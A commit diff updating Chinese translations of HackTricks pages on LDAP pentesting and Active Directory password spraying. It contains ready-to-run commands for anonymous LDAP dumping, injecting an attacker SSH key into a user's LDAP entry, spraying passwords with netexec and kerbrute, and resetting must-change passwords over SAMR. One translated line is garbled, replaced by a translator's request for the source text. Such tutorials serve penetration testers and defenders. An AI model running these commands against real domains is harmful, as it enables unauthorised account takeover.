Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's

This commit is contained in:
Translator 2025-09-30 23:04:14 +00:00
parent fb8171fa82
commit f110387b51
4 changed files with 279 additions and 165 deletions

View File

@ -2,13 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
**LDAP**(轻量级目录访问协议)的主要用途是定位各种实体,如组织、个人以及网络中的资源,如文件和设备,涵盖公共和私有网络。与其前身 DAP 相比,它提供了一种更简化的方法,代码占用更小。
The use of **LDAP** (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
LDAP 目录的结构允许其在多个服务器之间分布,每个服务器都存储一个**复制**和**同步**的目录版本称为目录系统代理DSA。处理请求的责任完全由 LDAP 服务器承担,必要时可以与其他 DSA 通信,以向请求者提供统一的响应
LDAP 目录的用途主要是用于在公共和私有网络中定位各种实体,例如组织、个人,以及文件和设备等资源。与其前身 DAP 相比,它通过更小的代码体积提供了更简洁的实现
LDAP 目录的组织结构类似于**树形层次,从根目录开始**。这向下分支到国家,然后进一步划分为组织,再到代表各个部门或单位的组织单位,最终达到包括个人和共享资源(如文件和打印机)在内的个体实体层级。
LDAP directories are structured to allow their distribution across several servers, with each server housing a **replicated** and **synchronized** version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester.
**默认端口:** 389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 和 3269LDAPS上可用。
LDAP 目录的结构允许其分布在多台服务器上,每台服务器都保存着目录的 **复制****同步** 版本,称为 Directory System Agent (DSA)。处理请求的责任完全由 LDAP 服务器承担,服务器在需要时会与其他 DSA 通信,以向请求者提供统一的响应。
The LDAP directory's organization resembles a **tree hierarchy, starting with the root directory at the top**. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers.
LDAP 目录的组织类似于一个 **树状层级,从顶部的根目录开始**。它向下分支到国家,进一步划分为组织,然后到表示各个部门或科室的组织单元,最终到达个体实体层级,包括人员以及诸如文件和打印机等共享资源。
**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
**默认端口:** 389 和 636 (ldaps)。Global Catalog (LDAP in ActiveDirectory) 默认使用端口 3268LDAPS 则为 3269。
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
@ -16,7 +24,7 @@ PORT STATE SERVICE REASON
```
### LDAP 数据交换格式
LDIF (LDAP 数据交换格式) 定义了目录内容作为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
LDIF (LDAP Data Interchange Format) 将目录内容定义为一组记录。它也可以表示更新请求Add、Modify、Delete、Rename)。
```bash
dn: dc=local
dc: local
@ -45,14 +53,14 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
- 第1-3行定义顶级域local
- 第5-8行定义了一级域moneycorp (moneycorp.local)
- 第10-16行定义了两个组织单位dev和sales
- 第18-26行创建了一个域对象并分配带有值的属性
- 第1-3行定义顶级域 local
- 第5-8行定义第一级域 moneycorp (moneycorp.local)
- 第10-16行定义两个组织单元dev 和 sales
- 第18-26行创建域对象并为属性赋值
## 写入数据
请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下您**可以更改您的用户或任何用户的“sshPublicKey”信息**。如果这个属性存在,那么**ssh很可能是从LDAP读取公钥**。如果您可以修改用户的公钥,您**将能够以该用户身份登录即使在ssh中未启用密码认证**。
注意:如果你能修改这些值,你可能执行一些非常有趣的操作。例如,假设你**可以更改用户或任意用户的 "sshPublicKey" 信息**。很可能如果存在该属性,那么**ssh 是从 LDAP 读取公钥**。如果你能修改某用户的公钥,你**将能够以该用户身份登录,即使 ssh 没有启用密码认证**。
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -64,43 +72,68 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Sniff clear text credentials
## 嗅探明文凭据
如果 LDAP 在没有 SSL 的情况下使用,您可以 **在网络中嗅探明文凭证**
如果 LDAP 在没有 SSL 的情况下使用,你可以在网络中**嗅探到明文凭据**
此外,您可以在 **LDAP 服务器和客户端之间** 执行 **MITM** 攻击。在这里,您可以进行 **降级攻击**,使客户端使用 **明文凭证** 登录。
另外,你可以在 LDAP 服务器和客户端之间的网络中实施 **MITM** 攻击。在这里你可以进行 **Downgrade Attack**,使客户端使用**明文凭据**登录。
**如果使用 SSL**,您可以尝试像上述提到的那样进行 **MITM**,但提供一个 **虚假证书**,如果 **用户接受它**,您就能够降级身份验证方法并再次查看凭证
**如果使用了 SSL**,你可以尝试像上面提到的那样进行 **MITM**,但提供一个**伪造的证书**,如果**用户接受**,你就可以将认证方法降级并再次看到凭据
## Anonymous Access
## 匿名访问
### Bypass TLS SNI check
### 绕过 TLS SNI 检查
根据 [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如 company.com访问 LDAP 服务器,他能够以匿名用户的身份联系 LDAP 服务并提取信息:
根据 [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 仅仅通过使用任意域名(例如 company.com访问 LDAP 服务器,他就能够联系到 LDAP 服务并以匿名用户的身份提取信息:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP 匿名绑定
### LDAP anonymous binds
[LDAP 匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) 允许 **未认证的攻击者** 从域中检索信息,例如用户、组、计算机、用户帐户属性和域密码策略的完整列表。这是一种 **遗留配置**,自 Windows Server 2003 起,仅允许经过身份验证的用户发起 LDAP 请求。\
然而,管理员可能需要 **设置特定应用程序以允许匿名绑定**,并给予超过预期的访问权限,从而使未认证用户能够访问 AD 中的所有对象。
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) 允许 **未认证的攻击者** 从域中检索信息,例如完整的用户、组、计算机列表、用户帐户属性以及域密码策略。 这是一个 **遗留配置**,从 Windows Server 2003 起,仅允许已认证用户发起 LDAP 请求。\
但是,管理员可能需要 **为某个特定应用配置以允许 anonymous binds** 并授予了超过预期的访问权限,因而使未认证用户能够访问 AD 中的所有对象。
## 有效凭据
### Anonymous LDAP enumeration with NetExec (null bind)
如果您拥有有效的凭据登录到 LDAP 服务器,您可以使用以下命令转储有关域管理员的所有信息:
如果允许 null/anonymous bind你可以直接通过 NetExec 的 LDAP 模块在不使用 creds 的情况下拉取用户、组和属性。 有用的过滤器:
- (objectClass=*) 用于列举 base DN 下的对象
- (sAMAccountName=*) 用于收集用户主体
示例:
```bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```
要查找的内容:
- sAMAccountName、userPrincipalName
- memberOf 和 OU 放置位置,用于限定 targeted sprays
- pwdLastSet时间模式、userAccountControl 标志(例如 disabled、smartcard required 等)
注意:如果不允许 anonymous bind通常会看到一个 Operations error表明需要进行 bind。
## 有效凭证
如果你有用于登录 LDAP server 的有效凭证,你可以使用以下工具导出有关 Domain Admin 的所有信息:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [暴力破解](../generic-hacking/brute-force.md#ldap)
### [Brute Force](../generic-hacking/brute-force.md#ldap)
## 枚举
### 自动化
使用此方法,您将能够查看**公共信息**(如域名)**:**
使用此方法你将能够查看 **公开信息** (比如域名)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -108,11 +141,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>查看使用python进行LDAP枚举</summary>
<summary>查看使用 python 进行 LDAP 枚举</summary>
您可以尝试使用python **枚举LDAP无论是否使用凭据** `pip3 install ldap3`
你可以尝试使用 python 在有凭据或无凭据的情况下**枚举 LDAP** `pip3 install ldap3`
首先尝试**无凭据连接**
首先尝试**无凭据**的情况下连接:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +154,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True
>>> server.info
```
如果响应`True`,如前面的示例所示,您可以从中获取一些 **有趣的数据**,例如 LDAP 服务器的 **命名上下文****域名**
如果响应像前面的示例那样为 `True`,你可以从以下位置获取 LDAP 服务器的一些 **有趣的数据**(例如 **命名上下文****域名**
```bash
>>> server.info
DSA info (from DSE):
@ -129,13 +162,13 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
一旦你拥有命名上下文,你可以进行一些更有趣的查询。这个简单的查询应该显示目录中的所有对象:
一旦你获得了命名上下文,你就可以进行一些更有趣的查询。下面这个简单查询应显示目录中的所有对象:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
**dump**整个ldap
**dump** 整个 ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
@ -145,7 +178,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个 Python 脚本,用于通过利用 LDAP 查询从 **Windows** 域中 **枚举用户、组和计算机**。
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个 Python 脚本,可通过 LDAP 查询 **枚举 Windows 域中的用户、组和计算机**。
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -160,7 +193,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
检查空凭据或您的凭据是否有效:
检查 null credentials 或者你的凭据是否有效:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,9 +206,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
如果你发现某些内容说“_bind 必须完成_”意味着凭据不正确。
如果你发现有提示 "_bind must be completed_",那就意味着凭证不正确。
你可以使用以下方法从一个域中提取**所有内容**
你可以使用以下命令提取**整个域的所有内容**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
@ -184,7 +217,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
提取 **用户**
提取 **用户**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
@ -193,11 +226,11 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Use
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **我的信息**:
我需要该文件或要提取的具体段落才能翻译。请粘贴 src/network-services-pentesting/pentesting-ldap.md 中的内容或说明要提取的具体部分(例如标题为 "my info" 的段落)。我会按要求把英文翻译成中文,保留所有 markdown/HTML 标签、路径和代码不翻译。
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Domain Admins**
提取 **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -209,24 +242,24 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Administrators**:
提取 **管理员**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Remote Desktop Group**
提取 **Remote Desktop Group**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
要查看您是否可以访问任何密码,您可以在执行其中一个查询后使用 grep
要查看你是否有访问任何密码的权限,可以在执行某个查询后使用 grep
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
请注意,您在这里找到的密码可能不是真实的...
请注意,这里找到的密码可能并非真实密码...
#### pbis
可以从这里下载 **pbis**: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),它通常安装在 `/opt/pbis`。\
**Pbis** 允许轻松获取基本信息:
可以从这里下载 **pbis**: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 并且它通常安装在 `/opt/pbis`.\
**Pbis** 允许轻松获取基本信息:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
@ -255,13 +288,13 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
@ -274,11 +307,11 @@ done
### Apache Directory
[**从这里下载 Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。您可以在[这里找到如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)。
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html)。您可以在此处找到[如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)。
### jxplorer
您可以在这里下载带有 LDAP 服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
您可以在此处下载带有 LDAP 服务器的图形界面: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
默认安装在: _/opt/jxplorer_
@ -286,35 +319,35 @@ done
### Godap
Godap 是一个交互式终端用户界面,用于 LDAP可以与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS支持简单绑定、传递哈希、传递票证和传递证书以及其他一些专门功能如搜索/创建/更改/删除对象、将用户添加/移除出组、更改密码、编辑对象权限 (DACLs)、修改 Active-Directory 集成 DNS (ADIDNS)、导出为 JSON 文件等。
Godap 是一个交互式终端用户界面,用于与 AD 及其他 LDAP 服务器中的对象和属性进行交互。它可用于 Windows、Linux 和 MacOS并支持 simple binds、pass-the-hash、pass-the-ticket & pass-the-cert以及其他若干专用功能例如搜索/创建/更改/删除对象、将用户添加/移除出组、修改密码、编辑对象权限 (DACLs)、修改 Active-Directory Integrated DNS (ADIDNS)、导出为 JSON 文件等。
![](../images/godap.png)
您可以在 [https://github.com/Macmod/godap](https://github.com/Macmod/godap) 访问它。有关使用示例和说明,请阅 [Wiki](https://github.com/Macmod/godap/wiki)。
您可以在 [https://github.com/Macmod/godap](https://github.com/Macmod/godap) 访问它。有关用示例和说明,请阅 [Wiki](https://github.com/Macmod/godap/wiki)。
### Ldapx
Ldapx 是一个灵活的 LDAP 代理,可以用于检查和转换来自其他工具的 LDAP 流量。它可以用于混淆 LDAP 流量,以尝试绕过身份保护和 LDAP 监控工具,并实现了在 [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) 演讲中提出的大多数方法。
Ldapx 是一个灵活的 LDAP 代理,可用于检查并转换来自其他工具的 LDAP 流量。它可用于混淆 LDAP 流量以尝试绕过 identity protection & LDAP monitoring 工具,并实现了 [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) 演讲中提出的大多数方法。
![](../images/ldapx.png)
您可以从 [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) 获取它。
## 通过 kerberos 进行身份验证
## Authentication via kerberos
使用 `ldapsearch`,您可以通过使用参数 `-Y GSSAPI` **通过 kerberos 进行身份验证**,而不是通过 **NTLM**
使用 `ldapsearch`,您可以通过参数 `-Y GSSAPI` 使用 **kerberos** 进行 **认证**,而不是通过 **NTLM**
## POST
如果您可以访问包含数据库的文件(可能_/var/lib/ldap_ 中)。您可以使用以下命令提取哈希
如果您可以访问包含数据库的文件(可能位于 _/var/lib/ldap_),您可以使用以下方法提取散列
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
可以将密码哈希(从 '{SSHA}' 到 'structural',不加 'structural')提供给 john。
可以将密码哈希(从 '{SSHA}' 到 'structural',不加 'structural')提供给 john。
### 配置文件
- 一般
- 通用
- containers.ldif
- ldap.cfg
- ldap.conf
@ -322,14 +355,14 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 服务器
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory 服务器
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP 目录服务器
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
@ -378,4 +411,10 @@ Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
```
## 参考资料
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,15 +5,16 @@
## **Password Spraying**
一旦你找到了几个**有效用户名**,你可以针对每个已发现的用户尝试**最常见的密码**(请注意环境的密码策略)。\ **默认** 情况下,**最小** **密码** **长度****7**
一旦你找到几个 **有效的用户名**,你可以对每个被发现的用户尝试最 **常见的密码**(请注意环境的密码策略)。\
默认情况下,**最小** **密码** **长度****7**
用用户名列表也可能很有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
见用户名列表也可能有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
注意,**如果尝试多个错误密码,可能会锁定一些账户**默认超过10次
注意,**如果尝试多个错误密码,可能会锁定一些账户**默认超过10次
### 获取密码策略
如果你有某些用户凭据或以域用户身份获得了 shell你可以**使用以下方式获取密码策略**
如果你有一些用户凭证或以域用户的身份获得了 shell你可以**获取密码策略**
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -30,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### 从 Linux或所有系统进行利用
### Exploitation来自 Linux 或所有平台)
- 使用 **crackmapexec:**
```bash
@ -39,6 +40,21 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- 使用 **NetExec (CME successor)** 进行针对性、低噪声的 spraying跨 SMB/WinRM
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- 使用 [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
@ -46,16 +62,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免触发锁定):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免锁定)**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时不起作用
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,偶尔无法工作
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- 使用 **Metasploit**`scanner/smb/smb_login` 模块:
- 使用 `scanner/smb/smb_login` 模块**Metasploit**
![](<../../images/image (745).png>)
@ -76,7 +92,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它可以默认从域生成用户,并从域获取密码策略并根据该策略限制尝试次数):
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (默认可以从域生成用户,并会从域获取密码策略并根据其限制尝试次数):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -84,9 +100,9 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### 识别并接管 "Password must change at next logon" Accounts (SAMR)
### 识别并接管 "Password must change at next logon" 账户 (SAMR)
一种低噪声的技术是对账户尝试 benign/empty password并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的账户,这表示密码被强制过期,可以在不知道旧密码的情况下直接更改。
一种低噪声的技术是尝试一个无害/空密码并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的账户,这表明密码被强制过期,可以在不知道旧密码的情况下更改
Workflow:
- 枚举用户 (RID brute via SAMR) 以构建目标列表:
@ -98,12 +114,12 @@ Workflow:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray an empty password并在命中后继续尝试以捕获那些必须在下次 logon 时更改的账户:
- Spray 空 password并在命中时继续尝试以捕获必须在 next logon 更改的账户:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- 对于每个命中,使用 NetExecs 模块通过 SAMR 更改密码(当设置了 "must change" 时不需要旧密码):
- 对于每个命中,通过 SAMR 使用 NetExecs module 更改密码(当 "must change" 被设置时不需要旧密码):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -113,26 +129,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
操作说明:
- 在进行基于 Kerberos 的操作之前,确保主机时钟与 DC 同步: `sudo ntpdate <dc_fqdn>`
- 在某些模块(例如 RDP/WinRM带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少 interactive logon rights
- 在执行基于 Kerberos 的操作前,确保主机时钟与 DC 同步: `sudo ntpdate <dc_fqdn>`.
- 在某些模块(例如 RDP/WinRM若看到 [+] 但没有 (Pwn3d!),表示 creds 有效但该账号缺少交互式登录权限
## 暴力破解
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
基于 Kerberos pre-auth 的喷射比 SMB/NTLM/LDAP 绑定尝试产生更少噪音,并且更符合 AD 锁定策略。SpearSpray 结合 LDAP 驱动的定向、模式引擎和策略感知(域策略 + PSOs + badPwdCount 缓冲),以更精确和更安全的方式进行喷射。它还可以在 Neo4j 中标记被攻破的主体以供 BloodHound 路径分析。
Kerberos pre-authbased spraying 相较于 SMB/NTLM/LDAP bind attempts 能减少噪声,并且更符合 AD lockout policies。SpearSpray 结合了 LDAP 驱动的目标定位、pattern engine 和策略感知(域策略 + PSOs + badPwdCount 缓冲)来进行精确且安全的喷洒。它还可以在 Neo4j 中标记被攻破的主体以便 BloodHound 路径分析。
关键要点:
- 使用分页和 LDAPS 支持的 LDAP 用户发现,可选地使用自定义 LDAP 过滤器。
- 域锁定策略 + PSO 感知过滤,保留可配置的尝试缓冲(阈值)以避免锁定用户。
- 使用快速 gssapi 绑定的 Kerberos pre-auth 验证(在 DCs 上生成 4768/4771而不是 4625
- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量。
- 通过线程、抖动和每秒最大请求数来控制吞吐量。
- 可选的 Neo4j 集成,用于标记被攻破的用户以供 BloodHound 使用。
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
基本用法和发现:
Basic usage and discovery:
```bash
# List available pattern variables
spearspray -l
@ -143,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
目标定位与模式控制
目标定位与模式控制:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
